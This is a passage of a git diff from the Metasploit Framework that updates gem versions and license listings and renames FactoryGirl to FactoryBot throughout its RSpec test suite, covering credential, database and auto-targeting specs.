(1.60.2) docile (1.3.0) erubis (2.7.0) - factory_girl (4.9.0) + factory_bot (4.8.2) activesupport (>= 3.0.0) - factory_girl_rails (4.9.0) - factory_girl (~> 4.9.0) + factory_bot_rails (4.8.2) + factory_bot (~> 4.8.2) railties (>= 3.0.0) faker (1.8.7) i18n (>= 0.7) @@ -363,7 +363,7 @@ PLATFORMS ruby DEPENDENCIES - factory_girl_rails + factory_bot_rails fivemat google-protobuf (= 3.5.1) grpc (= 1.8.3) diff --git a/LICENSE_GEMS b/LICENSE_GEMS index e3c4b86663..e67bfb59b1 100644 --- a/LICENSE_GEMS +++ b/LICENSE_GEMS @@ -1,130 +1,135 @@ This file is auto-generated by tools/dev/update_gem_licenses.sh -Ascii85, 1.0.2, MIT -actionpack, 4.2.9, MIT -actionview, 4.2.9, MIT -activemodel, 4.2.9, MIT -activerecord, 4.2.9, MIT -activesupport, 4.2.9, MIT -addressable, 2.5.1, "Apache 2.0" +Ascii85, 1.0.3, MIT +actionpack, 4.2.10, MIT +actionview, 4.2.10, MIT +activemodel, 4.2.10, MIT +activerecord, 4.2.10, MIT +activesupport, 4.2.10, MIT +addressable, 2.5.2, "Apache 2.0" afm, 0.2.2, MIT arel, 6.0.4, MIT -arel-helpers, 2.4.0, unknown -backports, 3.8.0, MIT +arel-helpers, 2.6.1, MIT +backports, 3.11.1, MIT bcrypt, 3.1.11, MIT -bindata, 2.4.0, ruby +bcrypt_pbkdf, 1.0.0, MIT +bindata, 2.4.3, ruby bit-struct, 0.16, ruby builder, 3.2.3, MIT -bundler, 1.15.1, MIT -coderay, 1.1.1, MIT +bundler, 1.16.1, MIT +coderay, 1.1.2, MIT +concurrent-ruby, 1.0.5, MIT +crass, 1.0.3, MIT diff-lcs, 1.3, "MIT, Artistic-2.0, GPL-2.0+" -dnsruby, 1.60.1, "Apache 2.0" -docile, 1.1.5, MIT +dnsruby, 1.60.2, "Apache 2.0" +docile, 1.3.0, MIT erubis, 2.7.0, MIT -factory_girl, 4.8.0, MIT -factory_girl_rails, 4.8.0, MIT -faraday, 0.12.1, MIT +factory_bot, 4.8.2, MIT +factory_bot_rails, 4.8.2, MIT +faker, 1.8.7, MIT +faraday, 0.14.0, MIT filesize, 0.1.1, MIT -fivemat, 1.3.5, MIT -google-protobuf, 3.3.0, "New BSD" -googleauth, 0.5.1, "Apache 2.0" -grpc, 1.4.1, "New BSD" +fivemat, 1.3.6, MIT +google-protobuf, 3.5.1, "New BSD" +googleapis-common-protos-types, 1.0.1, "Apache 2.0" +googleauth, 0.6.2, "Apache 2.0" +grpc, 1.8.3, "Apache 2.0" hashery, 2.1.2, "Simplified BSD" -i18n, 0.8.6, MIT +i18n, 0.9.5, MIT jsobfu, 0.4.2, "New BSD" json, 2.1.0, ruby -jwt, 1.5.6, MIT +jwt, 2.1.0, MIT little-plugger, 1.1.4, MIT logging, 2.2.2, MIT -loofah, 2.0.3, MIT +loofah, 2.2.0, MIT memoist, 0.16.0, MIT metasm, 1.0.3, LGPL -metasploit-aggregator, 0.2.1, "New BSD" +metasploit-aggregator, 1.0.0, "New BSD" metasploit-concern, 2.0.5, "New BSD" -metasploit-credential, 2.0.10, "New BSD" -metasploit-framework, 4.15.0, "New BSD" +metasploit-credential, 2.0.13, "New BSD" +metasploit-framework, 5.0.0, "New BSD" metasploit-model, 2.0.4, "New BSD" -metasploit-payloads, 1.2.37, "3-clause (or ""modified"") BSD" -metasploit_data_models, 2.0.15, "New BSD" -metasploit_payloads-mettle, 0.1.10, "3-clause (or ""modified"") BSD" -method_source, 0.8.2, MIT -mini_portile2, 2.2.0, MIT -minitest, 5.10.2, MIT -msgpack, 1.1.0, "Apache 2.0" -multi_json, 1.12.1, MIT +metasploit-payloads, 1.3.31, "3-clause (or ""modified"") BSD" +metasploit_data_models, 2.0.16, "New BSD" +metasploit_payloads-mettle, 0.3.7, "3-clause (or ""modified"") BSD" +method_source, 0.9.0, MIT +mini_portile2, 2.3.0, MIT +minitest, 5.11.3, MIT +mqtt, 0.5.0, MIT +msgpack, 1.2.4, "Apache 2.0" +multi_json, 1.13.1, MIT multipart-post, 2.0.0, MIT nessus_rest, 0.1.6, MIT -net-ssh, 4.1.0, MIT -network_interface, 0.0.1, MIT -nexpose, 6.1.0, BSD -nokogiri, 1.8.0, MIT -octokit, 4.7.0, MIT +net-ssh, 4.2.0, MIT +network_interface, 0.0.2, MIT +nexpose, 7.2.0, BSD +nokogiri, 1.8.2, MIT +octokit, 4.8.0, MIT openssl-ccm, 1.2.1, MIT openvas-omp, 0.0.4, MIT os, 0.9.6, MIT packetfu, 1.1.13, BSD patch_finder, 1.0.2, "New BSD" pcaprub, 0.12.4, LGPL-2.1 -pdf-reader, 2.0.0, MIT +pdf-reader, 2.1.0, MIT pg, 0.20.0, "New BSD" pg_array_parser, 0.0.9, unknown postgres_ext, 3.0.0, MIT -pry, 0.10.4, MIT -public_suffix, 2.0.5, MIT -rack, 1.6.8, MIT +pry, 0.11.3, MIT +public_suffix, 3.0.2, MIT +rack, 1.6.9, MIT rack-test, 0.6.3, MIT rails-deprecated_sanitizer, 1.0.3, MIT -rails-dom-testing, 1.0.8, MIT +rails-dom-testing, 1.0.9, MIT rails-html-sanitizer, 1.0.3, MIT -railties, 4.2.9, MIT -rake, 12.0.0, MIT -rb-readline, 0.5.4, BSD -recog, 2.1.11, unknown +railties, 4.2.10, MIT +rake, 12.3.0, MIT +rb-readline, 0.5.5, BSD +recog, 2.1.18, unknown redcarpet, 3.4.0, MIT -rex-arch, 0.1.9, "New BSD" +rex-arch, 0.1.13, "New BSD" rex-bin_tools, 0.1.4, "New BSD" -rex-core, 0.1.11, "New BSD" +rex-core, 0.1.13, "New BSD" rex-encoder, 0.1.4, "New BSD" -rex-exploitation, 0.1.15, "New BSD" +rex-exploitation, 0.1.17, "New BSD" rex-java, 0.1.5, "New BSD" rex-mime, 0.1.5, "New BSD" rex-nop, 0.1.1, "New BSD" rex-ole, 0.1.6, "New BSD" -rex-powershell, 0.1.72, "New BSD" -rex-random_identifier, 0.1.2, "New BSD" +rex-powershell, 0.1.77, "New BSD" +rex-random_identifier, 0.1.4, "New BSD" rex-registry, 0.1.3, "New BSD" rex-rop_builder, 0.1.3, "New BSD" -rex-socket, 0.1.8, "New BSD" -rex-sslscan, 0.1.4, "New BSD" +rex-socket, 0.1.10, "New BSD" +rex-sslscan, 0.1.5, "New BSD" rex-struct2, 0.1.2, "New BSD" -rex-text, 0.2.15, "New BSD" +rex-text, 0.2.16, "New BSD" rex-zip, 0.1.3, "New BSD" rkelly-remix, 0.0.7, MIT -robots, 0.10.1, MIT -rspec, 3.6.0, MIT -rspec-core, 3.6.0, MIT -rspec-expectations, 3.6.0, MIT -rspec-mocks, 3.6.0, MIT -rspec-rails, 3.6.0, MIT +rspec, 3.7.0, MIT +rspec-core, 3.7.1, MIT +rspec-expectations, 3.7.0, MIT +rspec-mocks, 3.7.0, MIT +rspec-rails, 3.7.2, MIT rspec-rerun, 1.1.0, MIT -rspec-support, 3.6.0, MIT +rspec-support, 3.7.1, MIT +ruby-macho, 1.1.0, MIT ruby-rc4, 0.1.5, MIT ruby_smb, 0.0.18, "New BSD" rubyntlm, 0.6.2, MIT rubyzip, 1.2.1, "Simplified BSD" sawyer, 0.8.1, MIT -signet, 0.7.3, "Apache 2.0" -simplecov, 0.14.1, MIT -simplecov-html, 0.10.1, MIT -slop, 3.6.0, MIT +signet, 0.8.1, "Apache 2.0" +simplecov, 0.16.0, MIT +simplecov-html, 0.10.2, MIT sqlite3, 1.3.13, "New BSD" sshkey, 1.9.0, MIT -thor, 0.19.4, MIT +thor, 0.20.0, MIT thread_safe, 0.3.6, "Apache 2.0" timecop, 0.9.1, MIT ttfunk, 1.5.1, "Nonstandard, GPL-2.0, GPL-3.0" -tzinfo, 1.2.3, MIT -tzinfo-data, 1.2017.2, MIT +tzinfo, 1.2.5, MIT +tzinfo-data, 1.2018.3, MIT windows_error, 0.1.2, BSD xdr, 2.0.0, "Apache 2.0" xmlrpc, 0.3.0, ruby -yard, 0.9.9, MIT +yard, 0.9.12, MIT diff --git a/spec/factories/mdm/exported_web_vulns.rb b/spec/factories/mdm/exported_web_vulns.rb index 0e97fa6b6e..fcd6806527 100644 --- a/spec/factories/mdm/exported_web_vulns.rb +++ b/spec/factories/mdm/exported_web_vulns.rb @@ -1,4 +1,4 @@ -FactoryGirl.define do +FactoryBot.define do factory :exported_web_vuln, :parent => :mdm_web_vuln do blame { generate :mdm_web_vuln_blame } description { generate :mdm_web_vuln_description } diff --git a/spec/factories/mdm/module_details.rb b/spec/factories/mdm/module_details.rb index 63fdb2276b..41c8632d14 100644 --- a/spec/factories/mdm/module_details.rb +++ b/spec/factories/mdm/module_details.rb @@ -1,4 +1,4 @@ -FactoryGirl.modify do +FactoryBot.modify do factory :mdm_module_detail do transient do root { diff --git a/spec/lib/metasploit/framework/jtr/wordlist_spec.rb b/spec/lib/metasploit/framework/jtr/wordlist_spec.rb index 5171ef744b..24bb56bb9d 100644 --- a/spec/lib/metasploit/framework/jtr/wordlist_spec.rb +++ b/spec/lib/metasploit/framework/jtr/wordlist_spec.rb @@ -9,9 +9,9 @@ RSpec.describe Metasploit::Framework::JtR::Wordlist do let(:expansion_word) { 'Foo bar_baz-bat.bam\\foo//bar' } let(:common_root_path) { File.expand_path('fake_common_roots.txt',FILE_FIXTURES_PATH) } let(:default_wordlist_path) { File.expand_path('fake_default_wordlist.txt',FILE_FIXTURES_PATH) } - let(:password) { FactoryGirl.create(:metasploit_credential_password) } - let(:public) { FactoryGirl.create(:metasploit_credential_public) } - let(:realm) { FactoryGirl.create(:metasploit_credential_realm) } + let(:password) { FactoryBot.create(:metasploit_credential_password) } + let(:public) { FactoryBot.create(:metasploit_credential_public) } + let(:realm) { FactoryBot.create(:metasploit_credential_realm) } let(:mutate_me) { 'password' } let(:mutants) { [ "pa55word", diff --git a/spec/lib/msf/core/auxiliary/cisco_spec.rb b/spec/lib/msf/core/auxiliary/cisco_spec.rb index f9adb0a9d2..d78cee075b 100644 --- a/spec/lib/msf/core/auxiliary/cisco_spec.rb +++ b/spec/lib/msf/core/auxiliary/cisco_spec.rb @@ -32,21 +32,21 @@ RSpec.describe Msf::Auxiliary::Cisco do subject(:aux_cisco) { DummyClass.new } - let!(:workspace) { FactoryGirl.create(:mdm_workspace) } + let!(:workspace) { FactoryBot.create(:mdm_workspace) } context '#create_credential_and_login' do - let(:session) { FactoryGirl.create(:mdm_session) } + let(:session) { FactoryBot.create(:mdm_session) } - let(:task) { FactoryGirl.create(:mdm_task, workspace: workspace)} + let(:task) { FactoryBot.create(:mdm_task, workspace: workspace)} - let(:user) { FactoryGirl.create(:mdm_user)} + let(:user) { FactoryBot.create(:mdm_user)} subject(:test_object) { DummyClass.new } - let(:workspace) { FactoryGirl.create(:mdm_workspace) } - let(:service) { FactoryGirl.create(:mdm_service, host: FactoryGirl.create(:mdm_host, workspace: workspace)) } - let(:task) { FactoryGirl.create(:mdm_task, workspace: workspace) } + let(:workspace) { FactoryBot.create(:mdm_workspace) } + let(:service) { FactoryBot.create(:mdm_service, host: FactoryBot.create(:mdm_host, workspace: workspace)) } + let(:task) { FactoryBot.create(:mdm_task, workspace: workspace) } let(:login_data) { { diff --git a/spec/lib/msf/core/exploit/auto_target_spec.rb b/spec/lib/msf/core/exploit/auto_target_spec.rb index 65f680063e..84c5a4c5c5 100644 --- a/spec/lib/msf/core/exploit/auto_target_spec.rb +++ b/spec/lib/msf/core/exploit/auto_target_spec.rb @@ -50,7 +50,7 @@ RSpec.describe Msf::Exploit::AutoTarget do describe '#auto_target?' do it 'should return true if the automatic target is selected' do host_addr = '192.168.1.5' - host_obj = FactoryGirl.create(:mdm_host, address: host_addr ) + host_obj = FactoryBot.create(:mdm_host, address: host_addr ) windows_exploit.datastore['TARGET'] = 0 windows_exploit.datastore['WORKSPACE'] = host_obj.workspace.name windows_exploit.datastore['RHOST'] = host_addr @@ -71,7 +71,7 @@ RSpec.describe Msf::Exploit::AutoTarget do context 'finding the target host' do it 'should return a matching Mdm::host if there is one' do host_addr = '192.168.1.5' - host_obj = FactoryGirl.create(:mdm_host, address: host_addr ) + host_obj = FactoryBot.create(:mdm_host, address: host_addr ) windows_exploit.datastore['WORKSPACE'] = host_obj.workspace.name windows_exploit.datastore['RHOST'] = host_addr expect(windows_exploit.auto_target_host).to eq host_obj @@ -84,12 +84,12 @@ RSpec.describe Msf::Exploit::AutoTarget do end context 'filtering targets' do - let(:windows_xp_host) { FactoryGirl.create(:mdm_host, address: '192.168.172.150', os_family: 'Windows', os_name: 'Windows XP' ) } - let(:windows_xp_sp1_host) { FactoryGirl.create(:mdm_host, address: '192.168.172.150', os_family: 'Windows', os_name: 'Windows XP', os_sp: 'SP1' ) } - let(:windows_xp_sp2_host) { FactoryGirl.create(:mdm_host, address: '192.168.172.150', os_family: 'Windows', os_name: 'Windows XP', os_sp: 'SP2' ) } - let(:windows_xp_sp3_host) { FactoryGirl.create(:mdm_host, address: '192.168.172.150', os_family: 'Windows', os_name: 'Windows XP', os_sp: 'SP3' ) } - let(:windows_7_host) { FactoryGirl.create(:mdm_host, address: '192.168.172.150', os_family: 'Windows', os_name: 'Windows 7' ) } - let(:unknown_host) { FactoryGirl.create(:mdm_host, address: '192.168.172.150', os_family: nil ) } + let(:windows_xp_host) { FactoryBot.create(:mdm_host, address: '192.168.172.150', os_family: 'Windows', os_name: 'Windows XP' ) } + let(:windows_xp_sp1_host) { FactoryBot.create(:mdm_host, address: '192.168.172.150', os_family: 'Windows', os_name: 'Windows XP', os_sp: 'SP1' ) } + let(:windows_xp_sp2_host) { FactoryBot.create(:mdm_host, address: '192.168.172.150', os_family: 'Windows', os_name: 'Windows XP', os_sp: 'SP2' ) } + let(:windows_xp_sp3_host) { FactoryBot.create(:mdm_host, address: '192.168.172.150', os_family: 'Windows', os_name: 'Windows XP', os_sp: 'SP3' ) } + let(:windows_7_host) { FactoryBot.create(:mdm_host, address: '192.168.172.150', os_family: 'Windows', os_name: 'Windows 7' ) } + let(:unknown_host) { FactoryBot.create(:mdm_host, address: '192.168.172.150', os_family: nil ) } let(:potential_targets) { windows_exploit.filter_by_os_family(windows_xp_host) } let(:xp_targets) { windows_exploit.filter_by_os_name(potential_targets,windows_xp_host) } @@ -182,4 +182,4 @@ RSpec.describe Msf::Exploit::AutoTarget do -end \ No newline at end of file +end diff --git a/spec/lib/msf/core/module_set_spec.rb b/spec/lib/msf/core/module_set_spec.rb index db38186dfb..a8d075818b 100644 --- a/spec/lib/msf/core/module_set_spec.rb +++ b/spec/lib/msf/core/module_set_spec.rb @@ -6,7 +6,7 @@ RSpec.describe Msf::ModuleSet do } let(:module_type) { - FactoryGirl.generate :mdm_module_detail_mtype + FactoryBot.generate :mdm_module_detail_mtype } context '#rank_modules' do @@ -207,4 +207,4 @@ RSpec.describe Msf::ModuleSet do end end end -end \ No newline at end of file +end diff --git a/spec/lib/msf/db_manager/export_spec.rb b/spec/lib/msf/db_manager/export_spec.rb index 7118765db5..02bdaf89fe 100644 --- a/spec/lib/msf/db_manager/export_spec.rb +++ b/spec/lib/msf/db_manager/export_spec.rb @@ -14,7 +14,7 @@ RSpec.describe Msf::DBManager::Export do end let(:workspace) do - FactoryGirl.create( + FactoryBot.create( :mdm_workspace ) end @@ -42,7 +42,7 @@ RSpec.describe Msf::DBManager::Export do end let!(:module_details) do - FactoryGirl.create_list( + FactoryBot.create_list( :mdm_module_detail, module_detail_count ) diff --git a/spec/lib/msf/ui/console/command_dispatcher/creds_spec.rb b/spec/lib/msf/ui/console/command_dispatcher/creds_spec.rb index 8fb4534f0d..990e9ddb39 100644 --- a/spec/lib/msf/ui/console/command_dispatcher/creds_spec.rb +++ b/spec/lib/msf/ui/console/command_dispatcher/creds_spec.rb @@ -30,30 +30,30 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do let(:nonblank_username) { 'nonblank_user' } let(:nonblank_password) { 'nonblank_pass' } - let!(:origin) { FactoryGirl.create(:metasploit_credential_origin_import) } + let!(:origin) { FactoryBot.create(:metasploit_credential_origin_import) } - let!(:priv) { FactoryGirl.create(:metasploit_credential_password, data: password) } - let!(:pub) { FactoryGirl.create(:metasploit_credential_username, username: username) } - let!(:blank_pub) { blank_pub = FactoryGirl.create(:metasploit_credential_blank_username) } - let!(:nonblank_priv) { FactoryGirl.create(:metasploit_credential_password, data: nonblank_password) } - let!(:nonblank_pub) { FactoryGirl.create(:metasploit_credential_username, username: nonblank_username) } - let!(:blank_priv) { FactoryGirl.create(:metasploit_credential_password, data: blank_password) } + let!(:priv) { FactoryBot.create(:metasploit_credential_password, data: password) } + let!(:pub) { FactoryBot.create(:metasploit_credential_username, username: username) } + let!(:blank_pub) { blank_pub = FactoryBot.create(:metasploit_credential_blank_username) } + let!(:nonblank_priv) { FactoryBot.create(:metasploit_credential_password, data: nonblank_password) } + let!(:nonblank_pub) { FactoryBot.create(:metasploit_credential_username, username: nonblank_username) } + let!(:blank_priv) { FactoryBot.create(:metasploit_credential_password, data: blank_password) } before(:example) do - FactoryGirl.create(:metasploit_credential_core, + FactoryBot.create(:metasploit_credential_core, origin: origin, private: priv, public: pub, realm: nil, workspace: framework.db.workspace) - FactoryGirl.create(:metasploit_credential_core, + FactoryBot.create(:metasploit_credential_core, origin: origin, private: nonblank_priv, public: blank_pub, realm: nil, workspace: framework.db.workspace) - FactoryGirl.create(:metasploit_credential_core, + FactoryBot.create(:metasploit_credential_core, origin: origin, private: blank_priv, public: nonblank_pub, @@ -167,12 +167,12 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do let(:ntlm_hash) { '1443d06412d8c0e6e72c57ef50f76a05:27c433245e4763d074d30a05aae0af2c' } let!(:pub) do - FactoryGirl.create(:metasploit_credential_username, username: username) + FactoryBot.create(:metasploit_credential_username, username: username) end let!(:password_core) do - priv = FactoryGirl.create(:metasploit_credential_password, data: password) - FactoryGirl.create(:metasploit_credential_core, - origin: FactoryGirl.create(:metasploit_credential_origin_import), + priv = FactoryBot.create(:metasploit_credential_password, data: password) + FactoryBot.create(:metasploit_credential_core, + origin: FactoryBot.create(:metasploit_credential_origin_import), private: priv, public: pub, realm: nil, @@ -182,18 +182,18 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do # # Somehow this is hitting a unique constraint on Cores with the same # # Public, even though it has a different Private. Skip for now # let!(:ntlm_core) do - # priv = FactoryGirl.create(:metasploit_credential_ntlm_hash, data: ntlm_hash) - # FactoryGirl.create(:metasploit_credential_core, - # origin: FactoryGirl.create(:metasploit_credential_origin_import), + # priv = FactoryBot.create(:metasploit_credential_ntlm_hash, data: ntlm_hash) + # FactoryBot.create(:metasploit_credential_core, + # origin: FactoryBot.create(:metasploit_credential_origin_import), # private: priv, # public: pub, # realm: nil, # workspace: framework.db.workspace) # end # let!(:nonreplayable_core) do - # priv = FactoryGirl.create(:metasploit_credential_nonreplayable_hash, data: 'asdf') - # FactoryGirl.create(:metasploit_credential_core, - # origin: FactoryGirl.create(:metasploit_credential_origin_import), + # priv = FactoryBot.create(:metasploit_credential_nonreplayable_hash, data: 'asdf') + # FactoryBot.create(:metasploit_credential_core, + # origin: FactoryBot.create(:metasploit_credential_origin_import), # private: priv, # public: pub, # realm: nil, @@ -241,9 +241,9 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do end end describe 'Adding' do - let(:pub) { FactoryGirl.create(:metasploit_credential_username, username: username) } - let(:priv) { FactoryGirl.create(:metasploit_credential_password, data: password) } - let(:r) { FactoryGirl.create(:metasploit_credential_realm, key: realm_type, value: realm) } + let(:pub) { FactoryBot.create(:metasploit_credential_username, username: username) } + let(:priv) { FactoryBot.create(:metasploit_credential_password, data: password) } + let(:r) { FactoryBot.create(:metasploit_credential_realm, key: realm_type, value: realm) } context 'Cores with public privates and realms' do context 'username password and realm' do it 'creates a core if one does not exist' do @@ -252,8 +252,8 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do }.to change { Metasploit::Credential::Core.count }.by 1 end it 'does not create a core if it already exists' do - FactoryGirl.create(:metasploit_credential_core, - origin: FactoryGirl.create(:metasploit_credential_origin_import), + FactoryBot.create(:metasploit_credential_core, + origin: FactoryBot.create(:metasploit_credential_origin_import), private: priv, public: pub, realm: r, @@ -270,8 +270,8 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do }.to change { Metasploit::Credential::Core.count }.by 1 end it 'does not create a core if it already exists' do - FactoryGirl.create(:metasploit_credential_core, - origin: FactoryGirl.create(:metasploit_credential_origin_import), + FactoryBot.create(:metasploit_credential_core, + origin: FactoryBot.create(:metasploit_credential_origin_import), private: nil, public: pub, realm: r, @@ -289,8 +289,8 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do }.to change { Metasploit::Credential::Core.count }.by 1 end it 'does not create a core if it already exists' do - FactoryGirl.create(:metasploit_credential_core, - origin: FactoryGirl.create(:metasploit_credential_origin_import), + FactoryBot.create(:metasploit_credential_core, + origin: FactoryBot.create(:metasploit_credential_origin_import), private: priv, public: pub, realm: nil, @@ -308,8 +308,8 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do }.to change { Metasploit::Credential::Core.count }.by 1 end it 'does not create a core if it already exists' do - FactoryGirl.create(:metasploit_credential_core, - origin: FactoryGirl.create(:metasploit_credential_origin_import), + FactoryBot.create(:metasploit_credential_core, + origin: FactoryBot.create(:metasploit_credential_origin_import), private: priv, public: nil, realm: r, @@ -327,8 +327,8 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do }.to change { Metasploit::Credential::Core.count }.by 1 end it 'does not create a core if it already exists' do - FactoryGirl.create(:metasploit_credential_core, - origin: FactoryGirl.create(:metasploit_credential_origin_import), + FactoryBot.create(:metasploit_credential_core, + origin: FactoryBot.create(:metasploit_credential_origin_import), private: nil, public: pub, realm: nil, @@ -346,8 +346,8 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do }.to change { Metasploit::Credential::Core.count }.by 1 end it 'does not create a core if it already exists' do - FactoryGirl.create(:metasploit_credential_core, - origin: FactoryGirl.create(:metasploit_credential_origin_import), + FactoryBot.create(:metasploit_credential_core, + origin: FactoryBot.create(:metasploit_credential_origin_import), private: priv, public: nil, realm: nil, @@ -358,15 +358,15 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do end end context 'ntlm' do - let(:priv) { FactoryGirl.create(:metasploit_credential_ntlm_hash) } + let(:priv) { FactoryBot.create(:metasploit_credential_ntlm_hash) } it 'creates a core if one does not exist' do expect { creds.cmd_creds('add', "ntlm:#{priv.data}") }.to change { Metasploit::Credential::Core.count }.by 1 end it 'does not create a core if it already exists' do - FactoryGirl.create(:metasploit_credential_core, - origin: FactoryGirl.create(:metasploit_credential_origin_import), + FactoryBot.create(:metasploit_credential_core, + origin: FactoryBot.create(:metasploit_credential_origin_import), private: priv, public: nil, realm: nil, @@ -377,15 +377,15 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do end end context 'hash' do - let(:priv) { FactoryGirl.create(:metasploit_credential_nonreplayable_hash) } + let(:priv) { FactoryBot.create(:metasploit_credential_nonreplayable_hash) } it 'creates a core if one does not exist' do expect { creds.cmd_creds('add', "hash:#{priv.data}") }.to change { Metasploit::Credential::Core.count }.by 1 end it 'does not create a core if it already exists' do - FactoryGirl.create(:metasploit_credential_core, - origin: FactoryGirl.create(:metasploit_credential_origin_import), + FactoryBot.create(:metasploit_credential_core, + origin: FactoryBot.create(:metasploit_credential_origin_import), private: priv, public: nil, realm: nil, @@ -396,7 +396,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do end end context 'ssh-key' do - let(:priv) { FactoryGirl.create(:metasploit_credential_ssh_key) } + let(:priv) { FactoryBot.create(:metasploit_credential_ssh_key) } before(:each) do @file = Tempfile.new('id_rsa') @file.write(priv.data) @@ -408,8 +408,8 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do }.to change { Metasploit::Credential::Core.count }.by 1 end it 'does not create a core if it already exists' do - FactoryGirl.create(:metasploit_credential_core, - origin: FactoryGirl.create(:metasploit_credential_origin_import), + FactoryBot.create(:metasploit_credential_core, + origin: FactoryBot.create(:metasploit_credential_origin_import), private: priv, public: pub, realm: nil, @@ -423,15 +423,15 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do context 'realm-types' do Metasploit::Model::Realm::Key::SHORT_NAMES.each do |short_name, long_name| context "#{short_name}" do - let(:r) { FactoryGirl.create(:metasploit_credential_realm, key: long_name) } + let(:r) { FactoryBot.create(:metasploit_credential_realm, key: long_name) } it 'creates a core if one does not exist' do expect { creds.cmd_creds('add', "realm:#{r.value}", "realm-type:#{short_name}") }.to change { Metasploit::Credential::Core.count }.by 1 end it 'does not create a core if it already exists' do - FactoryGirl.create(:metasploit_credential_core, - origin: FactoryGirl.create(:metasploit_credential_origin_import), + FactoryBot.create(:metasploit_credential_core, + origin: FactoryBot.create(:metasploit_credential_origin_import), private: nil, public: nil, realm: r, diff --git a/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb b/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb index 57f047a3a8..e27f165a07 100644 --- a/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb +++ b/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb @@ -214,10 +214,10 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do end describe "-p" do before(:example) do - host = FactoryGirl.create(:mdm_host, :workspace => framework.db.workspace, :address => "192.168.0.1") - FactoryGirl.create(:mdm_service, :host => host, :port => 1024, name: 'Service1', proto: 'udp') - FactoryGirl.create(:mdm_service, :host => host, :port => 1025, name: 'Service2', proto: 'tcp') - FactoryGirl.create(:mdm_service, :host => host, :port => 1026, name: 'Service3', proto: 'udp') + host = FactoryBot.create(:mdm_host, :workspace => framework.db.workspace, :address => "192.168.0.1") + FactoryBot.create(:mdm_service, :host => host, :port => 1024, name: 'Service1', proto: 'udp') + FactoryBot.create(:mdm_service, :host => host, :port => 1025, name: 'Service2', proto: 'tcp') + FactoryBot.create(:mdm_service, :host => host, :port => 1026, name: 'Service3', proto: 'udp') end it "should list services that are on a given port" do db.cmd_services "-p", "1024,1025" @@ -234,10 +234,10 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do end describe "-np" do before(:example) do - host = FactoryGirl.create(:mdm_host, :workspace => framework.db.workspace, :address => "192.168.0.1") - FactoryGirl.create(:mdm_service, :host => host, :port => 1024) - FactoryGirl.create(:mdm_service, :host => host, :port => 1025) - FactoryGirl.create(:mdm_service, :host => host, :port => 1026) + host = FactoryBot.create(:mdm_host, :workspace => framework.db.workspace, :address => "192.168.0.1") + FactoryBot.create(:mdm_service, :host => host, :port => 1024) + FactoryBot.create(:mdm_service, :host => host, :port => 1025) + FactoryBot.create(:mdm_service, :host => host, :port => 1026) end it "should list services that are not on a given port" do skip { diff --git a/spec/support/shared/examples/credential/core/to_credential.rb b/spec/support/shared/examples/credential/core/to_credential.rb index 45577bdddf..0b06241576 100644 --- a/spec/support/shared/examples/credential/core/to_credential.rb +++ b/spec/support/shared/examples/credential/core/to_credential.rb @@ -5,7 +5,7 @@ RSpec.shared_examples_for 'Metasploit::Credential::Core::ToCredential' do context ".to_credential" do subject(:crednetial_core) do - FactoryGirl.create(:metasploit_credential_core) + FactoryBot.create(:metasploit_credential_core) end it { is_expected.to respond_to :to_credential } diff --git a/spec/support/shared/examples/msf/db_manager/exploit_attempt.rb b/spec/support/shared/examples/msf/db_manager/exploit_attempt.rb index 537621b1a8..86162c4a65 100644 --- a/spec/support/shared/examples/msf/db_manager/exploit_attempt.rb +++ b/spec/support/shared/examples/msf/db_manager/exploit_attempt.rb @@ -11,15 +11,15 @@ RSpec.shared_examples_for 'Msf::DBManager::ExploitAttempt' do let(:run) do match - FactoryGirl.create(:automatic_exploitation_run, user: workspace.owner,workspace:workspace, match_set_id: match_set.id) + FactoryBot.create(:automatic_exploitation_run, user: workspace.owner,workspace:workspace, match_set_id: match_set.id) end let(:match_set) do - FactoryGirl.create(:automatic_exploitation_match_set, user: workspace.owner,workspace:workspace) + FactoryBot.create(:automatic_exploitation_match_set, user: workspace.owner,workspace:workspace) end let(:match) do - FactoryGirl.create(:automatic_exploitation_match, + FactoryBot.create(:automatic_exploitation_match, match_set_id: match_set.id, matchable_id:vuln_with_match.id, matchable_type: "Mdm::Vuln" @@ -27,19 +27,19 @@ RSpec.shared_examples_for 'Msf::DBManager::ExploitAttempt' do end let(:vuln_with_match) do - FactoryGirl.create(:mdm_vuln) + FactoryBot.create(:mdm_vuln) end let(:host) do - FactoryGirl.create(:mdm_host, workspace:workspace) + FactoryBot.create(:mdm_host, workspace:workspace) end let(:workspace) do - FactoryGirl.create(:mdm_workspace) + FactoryBot.create(:mdm_workspace) end let(:refs) do - [ FactoryGirl.create(:mdm_ref) ] + [ FactoryBot.create(:mdm_ref) ] end context "with a run" do @@ -137,7 +137,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ExploitAttempt' do context "without a run" do let(:vuln) do - FactoryGirl.create(:mdm_vuln) + FactoryBot.create(:mdm_vuln) end let(:opts) do @@ -226,20 +226,20 @@ RSpec.shared_examples_for 'Msf::DBManager::ExploitAttempt' do end let(:session_id) do - FactoryGirl.create(:session, host: host).id + FactoryBot.create(:session, host: host).id end let(:run) do match - FactoryGirl.create(:automatic_exploitation_run, user: workspace.owner,workspace:workspace, match_set_id: match_set.id) + FactoryBot.create(:automatic_exploitation_run, user: workspace.owner,workspace:workspace, match_set_id: match_set.id) end let(:match_set) do - 